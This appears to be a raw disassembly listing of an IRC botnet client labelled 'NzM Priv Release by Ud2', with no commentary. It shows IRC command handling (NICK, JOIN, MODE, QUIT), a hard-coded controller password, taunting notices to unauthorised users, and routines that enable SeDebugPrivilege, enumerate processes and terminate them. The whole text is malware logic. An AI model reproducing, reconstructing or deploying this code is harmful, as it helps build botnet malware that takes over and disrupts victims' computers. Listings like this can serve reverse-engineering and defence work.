		mov	[ebp+var_46C], ebx


loc_4153D9:				; CODE XREF: sub_40F6F1+5CE0j
		lea	eax, [ebp+var_2DC]
		push	offset dword_434FB8
		push	eax
		call	sub_4173AC
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	20h
		push	eax
		call	sub_416E58
		add	esp, 14h
		mov	[ebp+var_470], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4F4]
		push	ebx
		push	eax
		push	offset byte_416EC3
		push	ebx
		push	ebx
		nop
		call	near ptr 7C810637h
		mov	ecx, [ebp+var_470]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_446E24[ecx], eax
		jz	short loc_415443


loc_415431:				; CODE XREF: sub_40F6F1+5D50j
		cmp	[ebp+var_460], ebx
		jnz	short loc_41545E
		push	32h
		nop
		call	near ptr 7C802442h
		jmp	short loc_415431
; ---------------------------------------------------------------------------


loc_415443:				; CODE XREF: sub_40F6F1+5D3Ej
		nop
		call	near ptr 7C910331h
		push	eax
		push	offset dword_434F70


loc_41544F:				; CODE XREF: sub_40F6F1+4B2Bj
					; sub_40F6F1+4C44j
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4173AC
		add	esp, 0Ch


loc_41545E:				; CODE XREF: sub_40F6F1+461Dj
					; sub_40F6F1+4635j ...
		lea	eax, [ebp+var_2DC]
		push	eax
		jmp	loc_410F62
; ---------------------------------------------------------------------------


loc_41546A:				; CODE XREF: sub_40F6F1+13D1j
					; sub_40F6F1+13E8j
		push	offset aArra	; "arra"
		lea	eax, [ebp+var_2DC]
		push	offset dword_434F48
		push	eax
		call	sub_4173AC
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	edi
		call	sub_40DC10
		add	esp, 20h
		jmp	loc_411A54
; ---------------------------------------------------------------------------


loc_41549F:				; CODE XREF: sub_40F6F1+13A3j
					; sub_40F6F1+13BAj
		push	dword_5154C0
		call	sub_40BBF6
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset dword_434F0C
		push	eax
		call	sub_4173AC
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	edi
		call	sub_40DC10
		add	esp, 24h
		jmp	loc_411A54
; ---------------------------------------------------------------------------


loc_4154DB:				; CODE XREF: sub_40F6F1+1375j
					; sub_40F6F1+138Cj
		mov	esi, [ebp+esi+var_90]
		cmp	esi, ebx
		jz	short loc_41550B
		cmp	[ebp+var_C], ebx
		jz	short loc_415518
		push	esi
		push	[ebp+var_C]
		call	sub_417980
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_415518
		push	eax
		push	offset aQuitS	; "QUIT	:%s\r\n"
		push	edi
		call	sub_40DBCA
		add	esp, 0Ch
		jmp	short loc_415518
; ---------------------------------------------------------------------------


loc_41550B:				; CODE XREF: sub_40F6F1+5DF3j
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	edi
		call	sub_40DBCA
		pop	ecx
		pop	ecx


loc_415518:				; CODE XREF: sub_40F6F1+5DF8j
					; sub_40F6F1+5E07j ...
		push	0FFFFFFFEh
		jmp	loc_40FABA
; ---------------------------------------------------------------------------


loc_41551F:				; CODE XREF: sub_40F6F1+1347j
					; sub_40F6F1+135Ej
		push	offset aQuitDisconnect ; "QUIT :disconnecting\r\n"
		push	edi
		call	sub_40DBCA
		push	offset dword_434EBC
		call	sub_40C4F7
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		jmp	loc_40FABB
; ---------------------------------------------------------------------------


loc_41553F:				; CODE XREF: sub_40F6F1+1319j
					; sub_40F6F1+1330j
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	edi
		call	sub_40DBCA
		push	offset dword_434E7C
		call	sub_40C4F7
		add	esp, 0Ch
		xor	eax, eax
		jmp	loc_40FABB
; ---------------------------------------------------------------------------


loc_41555E:				; CODE XREF: sub_40F6F1+12EBj
					; sub_40F6F1+1302j
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	edi
		call	sub_40707C
		jmp	loc_413963
; ---------------------------------------------------------------------------


loc_415572:				; CODE XREF: sub_40F6F1+123Cj
					; sub_40F6F1+1253j
		push	[ebp+esi+var_90]
		push	1Fh
		push	offset dword_434E6C
		push	offset dword_434E60
		jmp	loc_410782
; ---------------------------------------------------------------------------


loc_41558A:				; CODE XREF: sub_40F6F1+120Ej
					; sub_40F6F1+1225j
		push	[ebp+esi+var_90]
		push	1Ch
		push	offset dword_434E54
		push	offset dword_434E44
		jmp	loc_410782
; ---------------------------------------------------------------------------


loc_4155A2:				; CODE XREF: sub_40F6F1+104Ej
					; sub_40F6F1+1065j
		cmp	[ebp+esi+var_90], ebx
		jz	short loc_4155CB
		push	[ebp+esi+var_90]
		call	sub_41791F
		test	eax, eax
		pop	ecx
		jz	short loc_4155CB
		push	[ebp+esi+var_90]
		call	sub_41791F
		pop	ecx
		jmp	short loc_4155D0
; ---------------------------------------------------------------------------


loc_4155CB:				; CODE XREF: sub_40F6F1+5EB8j
					; sub_40F6F1+5EC9j
		mov	eax, dword_42ECE0


loc_4155D0:				; CODE XREF: sub_40F6F1+5ED8j
		mov	esi, [ebp+esi+var_8C]
		mov	[ebp+var_478], eax
		cmp	esi, ebx
		jz	short loc_4155F5
		push	esi


loc_4155E2:				; CODE XREF: sub_40F6F1+5F13j
		lea	eax, [ebp+var_488]
		push	10h
		push	eax
		call	sub_41792A
		add	esp, 0Ch
		jmp	short loc_41560C
; ---------------------------------------------------------------------------


loc_4155F5:				; CODE XREF: sub_40F6F1+5EEEj
		cmp	[ebp+var_9C7], bl
		jz	short loc_415606
		lea	eax, [ebp+var_D8]
		push	eax
		jmp	short loc_4155E2
; ---------------------------------------------------------------------------


loc_415606:				; CODE XREF: sub_40F6F1+5F0Aj
		mov	[ebp+var_488], bl


loc_41560C:				; CODE XREF: sub_40F6F1+5F02j
		mov	eax, [ebp+var_4]
		push	[ebp+var_8C]
		mov	[ebp+var_46C], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_468], eax
		lea	eax, [ebp+var_508]
		push	80h
		push	eax
		mov	[ebp+var_50C], edi
		call	sub_41792A
		add	esp, 0Ch
		push	[ebp+var_478]
		push	edi
		call	sub_40AFAB
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset unk_4296E0
		push	eax
		call	sub_4173AC
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	11h
		push	eax
		call	sub_416E58
		add	esp, 1Ch
		mov	[ebp+var_474], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_50C]
		push	ebx
		push	eax
		push	offset sub_407F51
		push	ebx
		push	ebx
		nop
		call	near ptr 7C810637h
		mov	ecx, [ebp+var_474]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_446E24[ecx], eax
		jz	short loc_4156BA


loc_4156A4:				; CODE XREF: sub_40F6F1+5FC7j
		cmp	[ebp+var_464], ebx
		jnz	loc_40FAB8
		push	32h
		nop
		call	near ptr 7C802442h
		jmp	short loc_4156A4
; ---------------------------------------------------------------------------


loc_4156BA:				; CODE XREF: sub_40F6F1+5FB1j
		nop
		call	near ptr 7C910331h
		push	eax
		push	offset unk_434DFC
		jmp	loc_40FCA1
; ---------------------------------------------------------------------------


loc_4156CB:				; CODE XREF: sub_40F6F1+FF2j
					; sub_40F6F1+1009j ...
		push	[ebp+arg_8]
		push	offset aSecure	; "secure"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4156F7
		push	[ebp+arg_8]
		push	offset aSec	; "sec"
		call	sub_4177D0
		pop	ecx
		mov	[ebp+var_46C], ebx
		test	eax, eax
		pop	ecx
		jnz	short loc_415701


loc_4156F7:				; CODE XREF: sub_40F6F1+5FEBj
		mov	[ebp+var_46C], 1


loc_415701:				; CODE XREF: sub_40F6F1+6004j
		push	[ebp+var_8C]
		lea	eax, [ebp+var_4F0]
		push	80h
		push	eax
		call	sub_41792A
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		cmp	[ebp+var_46C], ebx
		mov	[ebp+var_468], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_4F4], edi
		mov	[ebp+var_464], eax
		mov	eax, offset aSecuring ;	"Securing"
		jnz	short loc_415745
		mov	eax, offset aUnsecuring	; "Unsecuring"


loc_415745:				; CODE XREF: sub_40F6F1+604Dj
		push	eax
		push	offset dword_434DB0
		lea	eax, [ebp+var_2DC]
		push	200h
		push	eax
		call	sub_41792A
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	1Ah
		push	eax
		call	sub_416E58
		add	esp, 1Ch
		mov	[ebp+var_470], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4F4]
		push	ebx
		push	eax
		push	offset sub_416501
		push	ebx
		push	ebx
		nop
		call	near ptr 7C810637h
		mov	ecx, [ebp+var_470]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_446E24[ecx], eax
		jz	short loc_4157B5


loc_4157A3:				; CODE XREF: sub_40F6F1+60C2j
		cmp	[ebp+var_460], ebx
		jnz	short loc_4157D0
		push	32h
		nop
		call	near ptr 7C802442h
		jmp	short loc_4157A3
; ---------------------------------------------------------------------------


loc_4157B5:				; CODE XREF: sub_40F6F1+60B0j
		nop
		call	near ptr 7C910331h
		push	eax
		push	offset unk_434930


loc_4157C1:				; CODE XREF: sub_40F6F1+3E9Dj
					; sub_40F6F1+4D40j ...
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4173AC
		add	esp, 0Ch


loc_4157D0:				; CODE XREF: sub_40F6F1+2B79j
					; sub_40F6F1+30E5j ...
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_40C4F7
		jmp	loc_40FCA7
; ---------------------------------------------------------------------------


loc_4157E1:				; CODE XREF: sub_40F6F1+FC4j
					; sub_40F6F1+FDBj
		push	offset aNzmPrivRelease ; "NzM Priv Release by Ud2"
		lea	eax, [ebp+var_2DC]
		push	offset dword_434D90
		push	eax
		call	sub_4173AC


loc_4157F7:				; CODE XREF: sub_40F6F1+5841j
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	loc_411A54
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	edi
		jmp	loc_411A4C
; ---------------------------------------------------------------------------


loc_41581A:				; CODE XREF: sub_40F6F1+F96j
					; sub_40F6F1+FADj
		mov	esi, [ebp+esi+var_90]
		cmp	esi, ebx
		jz	short loc_415871
		push	esi
		call	sub_41791F
		cmp	eax, ebx
		pop	ecx
		jl	short loc_415869
		cmp	eax, 2
		jge	short loc_415869
		mov	edx, [ebp+arg_18]
		mov	ecx, eax
		shl	ecx, 7
		cmp	[ecx+edx], bl
		lea	esi, [ecx+edx]
		jz	short loc_415861
		lea	eax, [esi+1]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset dword_4381C4
		push	eax
		call	sub_4173AC
		add	esp, 0Ch
		mov	[esi], bl
		jmp	short loc_4158C0
; ---------------------------------------------------------------------------


loc_415861:				; CODE XREF: sub_40F6F1+6152j
		push	eax
		push	offset dword_434D54
		jmp	short loc_4158B1
; ---------------------------------------------------------------------------


loc_415869:				; CODE XREF: sub_40F6F1+613Dj
					; sub_40F6F1+6142j
		push	eax
		push	offset dword_434D18
		jmp	short loc_4158B1
; ---------------------------------------------------------------------------


loc_415871:				; CODE XREF: sub_40F6F1+6132j
		mov	eax, [ebp+arg_18]
		xor	esi, esi
		mov	[ebp+arg_4], eax


loc_415879:				; CODE XREF: sub_40F6F1+61A7j
		push	[ebp+var_94]
		push	[ebp+arg_4]
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41589C
		add	[ebp+arg_4], 80h
		inc	esi
		cmp	esi, 2
		jl	short loc_415879
		jmp	short loc_4158C0
; ---------------------------------------------------------------------------


loc_41589C:				; CODE XREF: sub_40F6F1+619Aj
		mov	eax, [ebp+arg_18]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp+var_D8]
		push	eax
		push	offset dword_4381C4


loc_4158B1:				; CODE XREF: sub_40F6F1+562Bj
					; sub_40F6F1+6176j ...
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4173AC
		add	esp, 0Ch


loc_4158C0:				; CODE XREF: sub_40F6F1+5504j
					; sub_40F6F1+560Fj ...
		cmp	[ebp+var_8], ebx
		jnz	loc_4100A4
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	edi


loc_4158DB:				; CODE XREF: sub_40F6F1+1EFEj
		call	sub_40DC10
		add	esp, 14h
		jmp	loc_4100A4
; ---------------------------------------------------------------------------


loc_4158E8:				; CODE XREF: sub_40F6F1+F68j
					; sub_40F6F1+F7Fj
		push	[ebp+var_90]
		push	offset dword_438134
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_415956
		call	sub_417021
		push	ebx
		nop
		call	near ptr 7C81CDDAh


loc_41590A:				; CODE XREF: sub_40F6F1+F3Aj
					; sub_40F6F1+F51j
		push	[ebp+esi+var_90]
		xor	eax, eax
		cmp	[ebp+var_9B8], bl
		setnz	al
		push	eax
		lea	eax, [ebp+var_928]
		push	dword_42ED00
		push	eax
		push	edi
		call	sub_4162D6
		lea	eax, [ebp+var_928]
		push	eax
		push	offset aNickS	; "NICK	%s\r\n"
		push	edi
		call	sub_40DBCA
		lea	eax, [ebp+var_928]
		push	eax
		push	offset dword_434CE4
		call	sub_40C56B


loc_415953:				; CODE XREF: sub_40F6F1+356Ej
					; sub_40F6F1+59A5j
		add	esp, 28h


loc_415956:				; CODE XREF: sub_40F6F1+65Fj
					; sub_40F6F1+66Bj ...
		mov	eax, [ebp+arg_24]
		jmp	loc_40FABB
; ---------------------------------------------------------------------------


loc_41595E:				; CODE XREF: sub_40F6F1+B1Ej
					; sub_40F6F1+B33j
		mov	esi, [ebp+esi+var_90]
		cmp	esi, ebx
		mov	[ebp+arg_24], esi
		jz	loc_40FAB8
		cmp	[ebp+var_AC], ebx
		jnz	loc_40FAB8
		push	offset asc_438240 ; "!"
		push	[ebp+var_94]
		call	sub_41824D
		mov	esi, eax
		push	offset dword_441700
		push	ebx
		inc	esi
		call	sub_41824D
		push	offset asc_434CE0 ; "~"
		push	eax
		call	sub_41824D
		push	[ebp+arg_24]
		mov	edi, eax
		push	offset aC0d1am0z3 ; "c0d1am0z3"
		call	sub_4177D0
		add	esp, 20h
		test	eax, eax
		jz	short loc_4159F4
		lea	eax, [ebp+var_D8]
		push	edi
		push	eax
		lea	eax, [ebp+var_D8]
		push	eax
		push	offset aNoticeSNiceTry ; "NOTICE %s :Nice try, idiot. (%s!%s).\r\n"
		push	[ebp+arg_4]
		call	sub_40DBCA
		lea	eax, [ebp+var_D8]
		push	eax
		push	offset aNoticeSYouVeBe ; "NOTICE %s :You've been logged.\r\n"
		push	[ebp+arg_4]
		call	sub_40DBCA
		push	edi
		push	esi
		push	offset dword_434C58
		jmp	short loc_415A50
; ---------------------------------------------------------------------------


loc_4159F4:				; CODE XREF: sub_40F6F1+62C8j
		mov	[ebp+arg_0], offset off_42EE3C


loc_4159FB:				; CODE XREF: sub_40F6F1+6326j
		mov	eax, [ebp+arg_0]
		push	edi
		push	dword ptr [eax]
		call	sub_4171B1
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_415A64
		add	[ebp+arg_0], 4
		cmp	[ebp+arg_0], offset off_42EE40
		jl	short loc_4159FB
		lea	eax, [ebp+var_D8]
		push	edi
		push	eax
		lea	eax, [ebp+var_D8]
		push	eax
		push	offset aNoticeSNiceTry ; "NOTICE %s :Nice try, idiot. (%s!%s).\r\n"
		push	[ebp+arg_4]
		call	sub_40DBCA
		lea	eax, [ebp+var_D8]
		push	eax
		push	offset aNoticeSYouVeBe ; "NOTICE %s :You've been logged.\r\n"
		push	[ebp+arg_4]
		call	sub_40DBCA
		push	edi
		push	esi
		push	offset dword_434C1C


loc_415A50:				; CODE XREF: sub_40F6F1+6301j
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4173AC
		add	esp, 30h
		jmp	loc_4100A4
; ---------------------------------------------------------------------------


loc_415A64:				; CODE XREF: sub_40F6F1+6319j
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_415A69:				; CODE XREF: sub_40F6F1+63A2j
		cmp	[ebp+arg_24], ebx
		jz	loc_40FAB8
		cmp	[edi], bl
		jnz	short loc_415A89
		push	[ebp+arg_24]
		push	offset aC0d1am0z3 ; "c0d1am0z3"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_415A9A


loc_415A89:				; CODE XREF: sub_40F6F1+6383j
		inc	esi
		add	edi, 80h
		cmp	esi, 2
		jl	short loc_415A69
		jmp	loc_40FAB8
; ---------------------------------------------------------------------------


loc_415A9A:				; CODE XREF: sub_40F6F1+6396j
		shl	esi, 7
		add	esi, [ebp+arg_18]
		lea	eax, [ebp+var_AA8]
		push	7Fh
		push	eax
		push	esi
		call	sub_4182F0
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_415AD1
		push	ebx
		push	[ebp+var_4]
		push	offset dword_434BEC
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40DC10
		add	esp, 14h


loc_415AD1:				; CODE XREF: sub_40F6F1+63C4j
		lea	eax, [ebp+var_D8]
		push	eax
		push	offset dword_434BBC
		jmp	loc_40FCA1
; ---------------------------------------------------------------------------


loc_415AE2:				; CODE XREF: sub_40F6F1+20Ej
					; sub_40F6F1+223j
		push	[ebp+arg_10]
		push	offset aUserhostS ; "USERHOST %s\r\n"
		push	[ebp+arg_4]
		call	sub_40DBCA
		push	offset aXtIb	; "-xt+iB"
		push	[ebp+arg_10]
		push	offset aModeSS	; "MODE	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_40DBCA
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_40DBCA
		add	esp, 2Ch
		mov	dword_51564C, edi
		jmp	loc_40F991
sub_40F6F1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415B28	proc near		; CODE XREF: sub_408FAC+45p
					; sub_408FAC+166p ...

var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		lea	eax, [ebp+var_4]
		push	eax
		push	28h
		nop
		call	near ptr 7C80DDF5h
		push	eax
		call	dword_44139C	; OpenProcessToken
		test	eax, eax
		jnz	short loc_415B47
		leave
		retn
; ---------------------------------------------------------------------------


loc_415B47:				; CODE XREF: sub_415B28+1Bj
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		xor	esi, esi
		push	[ebp+arg_0]
		push	esi
		call	dword_441374	; LookupPrivilegeValueA
		test	eax, eax
		jz	short loc_415B85
		cmp	[ebp+arg_4], esi
		mov	[ebp+var_14], 1
		jz	short loc_415B6E
		or	[ebp+var_8], 2
		jmp	short loc_415B72
; ---------------------------------------------------------------------------


loc_415B6E:				; CODE XREF: sub_415B28+3Ej
		and	[ebp+var_8], 0FFFFFFFDh


loc_415B72:				; CODE XREF: sub_415B28+44j
		push	esi
		push	esi
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	esi
		push	[ebp+var_4]
		call	dword_441424	; AdjustTokenPrivileges
		mov	esi, eax


loc_415B85:				; CODE XREF: sub_415B28+32j
		push	[ebp+var_4]
		nop
		call	near ptr 7C809B47h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_415B28	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415B93	proc near		; CODE XREF: sub_40F6F1+4DE1p
					; sub_415DC2+74p

var_554		= byte ptr -554h
var_354		= dword	ptr -354h
var_350		= byte ptr -350h
var_234		= byte ptr -234h
var_130		= dword	ptr -130h
var_12C		= byte ptr -12Ch
var_128		= dword	ptr -128h
var_10C		= byte ptr -10Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 554h
		push	ebx
		push	esi
		push	edi
		push	49h
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		cmp	dword_4413D8, ebx
		lea	edi, [ebp+var_12C]
		mov	[ebp+var_130], ebx
		rep stosd
		mov	ecx, 88h
		lea	edi, [ebp+var_350]
		mov	[ebp+var_354], ebx
		rep stosd
		jz	loc_415D92
		cmp	dword_4413BC, ebx
		jz	loc_415D92
		cmp	dword_4412D8, ebx
		jz	loc_415D92
		push	1
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_415B28
		pop	ecx
		pop	ecx
		push	ebx
		push	0Fh
		call	dword_4413D8	; CreateToolhelp32Snapshot
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_8], edi
		jz	loc_415D85
		lea	eax, [ebp+var_130]
		mov	[ebp+var_130], 128h
		push	eax
		push	edi
		call	dword_4413BC	; Process32First
		mov	esi, dword_42107C
		test	eax, eax
		jz	loc_415D80
		lea	eax, [ebp+var_130]
		push	eax
		push	edi
		call	dword_4412D8	; Process32Next
		test	eax, eax
		jz	loc_415D80
		mov	edi, dword_4210F8
		mov	ebx, 1F0FFFh


loc_415C57:				; CODE XREF: sub_415B93+1E5j
		xor	eax, eax
		cmp	[ebp+arg_10], eax
		jz	short loc_415CBE
		mov	[ebp+var_4], offset off_43824C


loc_415C65:				; CODE XREF: sub_415B93+F3j
		mov	eax, [ebp+var_4]
		push	dword ptr [eax]
		lea	eax, [ebp+var_10C]
		push	eax
		nop
		call	near ptr 7C80BAA1h
		test	eax, eax
		jz	short loc_415C8D
		add	[ebp+var_4], 4
		cmp	[ebp+var_4], offset dword_438C0C
		jl	short loc_415C65
		jmp	loc_415D66
; ---------------------------------------------------------------------------


loc_415C8D:				; CODE XREF: sub_415B93+E6j
		push	[ebp+var_128]
		push	0
		push	ebx
		call	edi	; OpenProcess
		test	eax, eax
		mov	[ebp+var_4], eax
		jz	loc_415D66
		push	0
		push	eax
		nop
		call	near ptr 7C801E16h
		test	eax, eax
		jnz	loc_415D66


loc_415CB4:				; CODE XREF: sub_415B93+1B9j
		push	[ebp+var_4]
		call	esi	; CloseHandle
		jmp	loc_415D66
; ---------------------------------------------------------------------------


loc_415CBE:				; CODE XREF: sub_415B93+C9j
		cmp	[ebp+arg_C], eax
		jnz	loc_415D51
		cmp	[ebp+arg_4], eax
		jz	loc_415D66
		push	[ebp+var_128]
		push	8
		call	dword_4413D8	; CreateToolhelp32Snapshot
		cmp	[ebp+arg_14], 0
		mov	[ebp+var_4], eax
		mov	[ebp+var_354], 224h
		jz	short loc_415D11
		lea	ecx, [ebp+var_354]
		push	ecx
		push	eax
		call	dword_441284	; Module32First
		push	[ebp+var_128]
		test	eax, eax
		jz	short loc_415D17
		lea	eax, [ebp+var_234]
		jmp	short loc_415D1D
; ---------------------------------------------------------------------------


loc_415D11:				; CODE XREF: sub_415B93+15Cj
		push	[ebp+var_128]


loc_415D17:				; CODE XREF: sub_415B93+174j
		lea	eax, [ebp+var_10C]


loc_415D1D:				; CODE XREF: sub_415B93+17Cj
		push	eax
		lea	eax, [ebp+var_554]
		push	offset aSD_0	; " %s (%d)"
		push	eax
		call	sub_4173AC
		add	esp, 10h
		lea	eax, [ebp+var_554]
		push	1
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40DC10
		add	esp, 14h
		jmp	loc_415CB4
; ---------------------------------------------------------------------------


loc_415D51:				; CODE XREF: sub_415B93+12Ej
		push	[ebp+arg_C]
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_415D99


loc_415D66:				; CODE XREF: sub_415B93+F5j
					; sub_415B93+10Aj ...
		lea	eax, [ebp+var_130]
		push	eax
		push	[ebp+var_8]
		call	dword_4412D8	; Process32Next
		test	eax, eax
		jnz	loc_415C57
		xor	ebx, ebx


loc_415D80:				; CODE XREF: sub_415B93+9Dj
					; sub_415B93+B3j
		push	[ebp+var_8]
		call	esi	; CloseHandle


loc_415D85:				; CODE XREF: sub_415B93+77j
		push	ebx
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_415B28
		pop	ecx
		pop	ecx


loc_415D92:				; CODE XREF: sub_415B93+3Aj
					; sub_415B93+46j ...
		xor	eax, eax


loc_415D94:				; CODE XREF: sub_415B93+22Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_415D99:				; CODE XREF: sub_415B93+1D1j
		push	[ebp+var_128]
		push	0
		push	ebx
		call	edi	; OpenProcess
		push	[ebp+var_8]
		mov	edi, eax
		call	esi	; CloseHandle
		push	0
		push	edi
		nop
		call	near ptr 7C801E16h
		test	eax, eax
		jnz	short loc_415DBD
		push	edi
		call	esi	; CloseHandle
		jmp	short loc_415D92
; ---------------------------------------------------------------------------


loc_415DBD:				; CODE XREF: sub_415B93+223j
		push	1
		pop	eax
		jmp	short loc_415D94
sub_415B93	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415DC2	proc near		; DATA XREF: sub_40F6F1+5A8Fo

var_298		= byte ptr -298h
var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 298h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		push	offset dword_43AD80
		rep movsd
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_4173AC
		xor	esi, esi
		pop	ecx
		cmp	[ebp+var_8], esi
		pop	ecx
		jnz	short loc_415E21
		push	esi
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	[ebp+var_98]
		call	sub_40DC10
		add	esp, 14h


loc_415E21:				; CODE XREF: sub_415DC2+3Dj
		push	[ebp+var_10]
		lea	eax, [ebp+var_94]
		push	esi
		push	esi
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		call	sub_415B93
		add	esp, 18h
		test	eax, eax
		jnz	short loc_415E49
		push	offset unk_43AD48
		jmp	short loc_415E4E
; ---------------------------------------------------------------------------


loc_415E49:				; CODE XREF: sub_415DC2+7Ej
		push	offset unk_43AD10


loc_415E4E:				; CODE XREF: sub_415DC2+85j
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_4173AC
		cmp	[ebp+var_8], esi
		pop	ecx
		pop	ecx
		jnz	short loc_415E81
		push	esi
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	[ebp+var_98]
		call	sub_40DC10
		add	esp, 14h


loc_415E81:				; CODE XREF: sub_415DC2+9Dj
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_40C4F7
		push	[ebp+var_14]
		call	sub_417174
		pop	ecx
		pop	ecx
		push	esi
		nop
		call	near ptr 7C80C058h
		pop	edi
		pop	esi
sub_415DC2	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_415EA0	proc near		; CODE XREF: sub_40F6F1+4D83p
					; sub_416F93+53p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		push	1
		pop	edi
		push	[esp+8+arg_0]
		push	0
		push	1F0FFFh
		nop
		call	near ptr 7C8309E1h
		mov	esi, eax
		test	esi, esi
		jz	short loc_415ED2
		push	0
		push	esi
		nop
		call	near ptr 7C801E16h
		test	eax, eax
		jnz	short loc_415ED2
		push	esi
		xor	edi, edi
		nop
		call	near ptr 7C809B47h


loc_415ED2:				; CODE XREF: sub_415EA0+1Aj
					; sub_415EA0+27j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_415EA0	endp

; ---------------------------------------------------------------------------
byte_415ED7	db 56h			; DATA XREF: ___:0040F0A4o
		dd 16AF633h, 56565656h,	0FCADE856h, 0C483FFFFh,	4835FF18h
		dd 90004382h, 3EC54DE8h
		db 7Ch,	0EBh, 0E3h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415EF7	proc near		; CODE XREF: sub_404180+Ap
					; sub_404737+16p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		call	sub_417408
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_4]
		fild	[ebp+var_4]
		sub	eax, esi
		mov	[ebp+arg_4], eax
		fimul	[ebp+arg_4]
		fmul	dbl_421618
		call	sub_4190C8
		sub	esi, eax
		mov	eax, esi
		pop	esi
		leave
		retn
sub_415EF7	endp


; =============== S U B	R O U T	I N E =======================================



sub_415F27	proc near		; CODE XREF: sub_4162D6+4Cp
					; DATA XREF: ___:off_43ADC8o

